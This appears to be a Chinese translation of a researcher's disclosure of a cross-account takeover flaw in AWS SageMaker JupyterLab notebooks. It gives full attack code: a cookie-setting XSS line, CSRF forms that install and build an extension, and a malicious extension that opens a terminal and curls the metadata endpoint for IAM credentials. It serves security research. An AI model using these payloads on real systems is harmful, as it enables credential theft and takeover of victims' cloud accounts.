AWS SageMaker Jupyter Notebook 實例接管
本文為翻譯文章,原文地址:
https://blog.lightspin.io/aws-sagemaker-notebook-takeover-vulnerability
概述
我們發現攻擊者可以跨賬戶在受害者的 SageMaker JupyterLab Notebook 實例上運行任何代碼。這意味著攻擊者可以訪問筆記本實例元數據端點并竊取附加角色的訪問令牌。
使用訪問令牌,攻擊者可以從 S3 存儲桶讀取數據、創建 VPC 終端節點以及 SageMaker 執行角色和“AmazonSageMakerFullAccess”策略允許的更多操作。
背景
Amazon SageMaker 是一項完全托管的機器學習服務。借助 SageMaker,數據科學家和開發人員可以快速輕松地構建和訓練機器學習模型,然后直接將它們部署到生產就緒的托管環境中。
當我們在 AWS SageMaker 中創建筆記本實例時,會創建一個新的 JupyterLab 環境,并在 . notebook.us-east-1.sagemaker.aws父域(其中 us-east-1 可以替換為不同的區域)。
通常,唯一的子域將是我們在創建 Notebook Instance 時賦予的名稱,但如果子域已經被占用,AWS 會在子域的末尾添加一些隨機值。
接下來,我們進入正題。
發現之初--反射型XSS
查看主頁的源代碼會發現一些位于運行 JupyterLab 應用程序的 VM 上的有趣路徑。
查看源代碼:https://gafnb.notebook.us-east-1.sagemaker.aws/lab

一個有趣的路徑是指向/home/ec2-user/anaconda3/ envs
/JupyterSystemEnv/share/jupyter/lab/static 的 staticDir

我們可以在瀏覽到時更改其內容并控制正在運行的內容:https ://gafnb.notebook.us-east-1.sagemaker.aws/lab

這顯然是一個 XSS - 但它是反射型XSS ?
也許這不是那么有用……或者是嗎?
獲取cookie
正如我在開頭提到的,SageMaker 中的所有 JupyterLabs Notebooks 都是在同一個父域下創建的。更具體地說——所有這些都在.sagemaker.aws的子域下。
在這樣一個環境中,每個用戶在同一個父域下都有自己的子域,看看 cookie 很有趣:

_xsrf cookie 是為整個域設置的。
Cookie 鍵由元組(名稱、域、路徑)組成。因此,如果它們具有不同的域或路徑,我們可以有 2 個具有相同名稱的 cookie。

我決定使用 self XSS 創建一個名為_xsrf 的新cookie,并且域屬性將是.sagemaker.aws,因此它將被發送到它的所有子域。
<script type="text/javascript">document.cookie='_xsrf=1;Domain= .sagemaker.aws';</script> /home/ec2-user/anaconda3/envs/JupyterSystemEnv/share/jupyter/lab/static/index.html
然后,這個新的 _xsrf=1 cookie 將被發送到.sagemaker.aws的所有子域,包括我們受害者在 SageMaker JupyterLab 域為
victim-poc-nb.notebook.us-east-1 .sagemaker.aws的不同 AWS 賬戶上的所有子域。
從XSS到CSRF
因為我現在知道 xsrf 值,所以我可能會獲得 CSRF。JupyterLab 服務器通過將xsrf cookie 的值與X-Xsrftoken標頭的值進行比較來防止 CSRF 。
我使用打開新終端的 POST 請求測試了 CSRF 機制。
從有效請求開始(如下)

和回應(下):

現在,我嘗試刪除X-Xsrftoken標頭并查看服務器的響應是什么。第一個圖像是請求,第二個是服務器的響應。


看起來服務器需要一個 _xsrf 參數。然后我嘗試將其添加為請求參數。圖像是請求后跟響應。


好的!我們看到我們可以使用 _xsrf 請求參數而不是 X-Xsrftoken 標頭。
JupyterLab 服務器是否檢查Origin標頭值?沒有。讓我們看看下面的樣子(請求,然后是響應)。


好吧,我們現在擁有了利用 CSRF 所需的一切!
我們可以使用 CSRF 在受害者的 JupyterLab 中打開一個新終端,并使用跨源 WebSocket 在受害者的筆記本實例中運行命令。但是還有另一種使用 JupyterLab 擴展的方法。
創建 JupyterLab 擴展
JupyterLab 擴展可以自定義或增強 JupyterLab 的任何部分。它們可以提供新的主題、文件查看器和編輯器,或用于筆記本中豐富輸出的渲染器。我們可以創建自己的 JupyterLab 擴展,它可以在受害者的 JupyterLab 實例上做任何我們想做的事情。
讓我們看看這可能是什么樣子。我決定使用以下代碼創建一個擴展并將其包上傳到 npm。
import {JupyterFrontEnd,JupyterFrontEndPlugin} from '@jupyterlab/application';
/*** Initialization data for the mal_jupyter_ext extension.*/const plugin: JupyterFrontEndPlugin<void> = {id: 'mal_jupyter_ext:plugin',autoStart: true,activate: (app: JupyterFrontEnd) => {document.cookie = "_xsrf=1";var xhr = new XMLHttpRequest;var terminalUrl = location.origin + "/api/terminals?_xsrf=1";xhr.open("POST", terminalUrl, true);xhr.withCredentials = true;xhr.onreadystatechange = function() {if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {var terminal_id = xhr.responseText.split('"')[3];var wsUrl = "wss://" + location.host + "/terminals/websocket/" + terminal_id;var ws = new WebSocket(wsUrl);ws.onopen = function(evt) {ws.send('["stdin","curl 169.254.169.254/latest/meta-data/iam/security-credentials/BaseNotebookInstanceEc2InstanceRole > SageMaker/token.json\\r"]');};}};xhr.send();}};
export default plugin;
此擴展在受害者的 JupyterLab 中打開一個新終端,并使用 WebSocket 訪問 IMDS 端點并提取附加角色的臨時憑證。要是有辦法讓受害者安裝我的惡意擴展就好了?
使用CSRF 安裝惡意擴展
要查看擴展支持,我們需要單擊設置 -> 啟用擴展管理器(實驗性)
注意:即使未啟用擴展支持,本文中描述的攻擊流程仍然可能發生。

啟用它將在左側菜單上添加擴展圖標

安裝擴展時會發送 HTTP POST 請求:

我可以使用 CSRF 發送這個 POST 請求,在受害者的 JupyterLab 實例上安裝我的惡意擴展。
我從一個簡單的 CSRF 有效負載開始,它安裝了我的惡意擴展名為 mal_jupyter_ex
<html><form action="https://gafnb.notebook.us-east-1.sagemaker.aws/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain" target="_blank"><input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"mal_jupyter_ex\"}" value="" /><input type="submit" value="Submit request" /></form></html>
但上述負載的輸出請求給出了無效的 JSON 輸出。首先顯示請求,然后是響應。


我們可以通過將等號作為字符串的一部分插入來修復它。
<html><form action="https://gafnb.notebook.us-east-1.sagemaker.aws/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain" target="_blank"><input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\" mal_jupyter_ex\",\"" value="\":1}" /><input type="submit" value="Submit request" /></form></html>


安裝新擴展后,需要構建。我們也可以使用 CSRF 來運行構建請求。
實戰
在某些瀏覽器中,默認值仍然是None。但經過一番挖掘,我也找到了一種在 Chrome 上利用它的方法。顯然,Chrome 給了我們“ 2 分鐘的寬限期”,在此期間,即使在 POST 請求中也會發送 cookie。
注意:Chrome 將在不到 2 分鐘前對沒有 SameSite 屬性的 cookie 設置例外。盡管正常的 SameSite=Lax cookie 要求頂級跨站點請求具有安全(例如 GET)HTTP 方法。
當用戶在 AWS 控制臺中單擊“Open JupyterLab”時,一個 GET 請求將發送到:
https://console.aws.amazon.com/sagemaker/home?region=us-east-1#/notebook-instances/openNotebook/gafnb?view=lab

此 HTTP 請求會觸發一個流程,該流程會為匹配的 JupyterLab 生成一個名為authToken的身份驗證令牌。令牌被轉發到 JupyterLab 域,如果它有效,JupyterLab 應用程序將設置所有會話 cookie。

幸運的是,這是一個 GET 請求,AWS 控制臺的 cookie 使用SameSite Lax或None定義,因此我們可以使用 window.open 或來自不同來源的鏈接來引發此流程。
一旦受害者的瀏覽器發送了這個請求,cookies就會被重新設置,我有2分鐘的時間來完成我的攻擊。
總結
攻擊者
1. 在攻擊者的 AWS SageMaker 賬戶中創建“攻擊”筆記本。
我們稱它為攻擊者-poc-nb
2. 假設受害者的筆記本名稱是victim-poc-nb,攻擊者在攻擊筆記本中打開一個終端并替換/home/ec2-user/anaconda3/envs/JupyterSystemEnv/share/jupyter/lab/static/index.html的內容如下:
<html><a href="#" onclick="resetCookies()">Start Attack!</a>
<form name="step1" action="https://victim-poc-nb.notebook.us-east-1.sagemaker.aws/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain" target="frame1"><input type="hidden" name="{"cmd":"install","extension_name":"mal_jupyter_ex","" value="":1}" /></form><form name="step2" action="https://victim-poc-nb.notebook.us-east-1.sagemaker.aws/lab/api/build?_xsrf=1" method="POST" target="frame2"></form>
<iframe name="frame1" style="position: absolute;width:0;height:0;border:0;"></iframe><iframe name="frame2" style="position: absolute;width:0;height:0;border:0;"></iframe>
<script>
function resetCookies(){window.open('https://console.aws.amazon.com/sagemaker/home?region=us-east-1#/notebook-instances/openNotebook/victim-poc-nb?view=lab');setTimeout(function(){ installExtension(); }, 5000);}
function installExtension(){document.cookie='_xsrf=1;Domain= .sagemaker.aws';document.forms["step1"].submit();setTimeout(function(){ build(); }, 5000);}
function build(){document.forms["step2"].submit();}
</script><html>

3. 打開 Burp 的攔截器并從 AWS 控制臺打開攻擊者-poc-nb筆記本。

4. 復制帶有身份驗證令牌的 URL 并丟棄請求。
5. 將上一步的鏈接發送給受害者。該鏈接指向帶有身份驗證令牌的攻擊者筆記本攻擊者-poc-nb 。
受害者
1. 已經登錄到他們的 AWS 賬戶
2. 點擊打開攻擊者的attacker-poc-nb的惡意鏈接
3. 單擊啟動攻擊流程的鏈接/按鈕。

4. 在后臺,一旦受害者點擊惡意鏈接/按鈕,就會發送請求安裝惡意擴展并重建受害者的 JupyterLab。如果出現“構建失敗”錯誤——沒關系。
5. 重新打開受害者的筆記本victim-poc-nb(構建可能需要一分鐘)。應該有一個 token.json 文件,其中包含附加角色的臨時憑據。
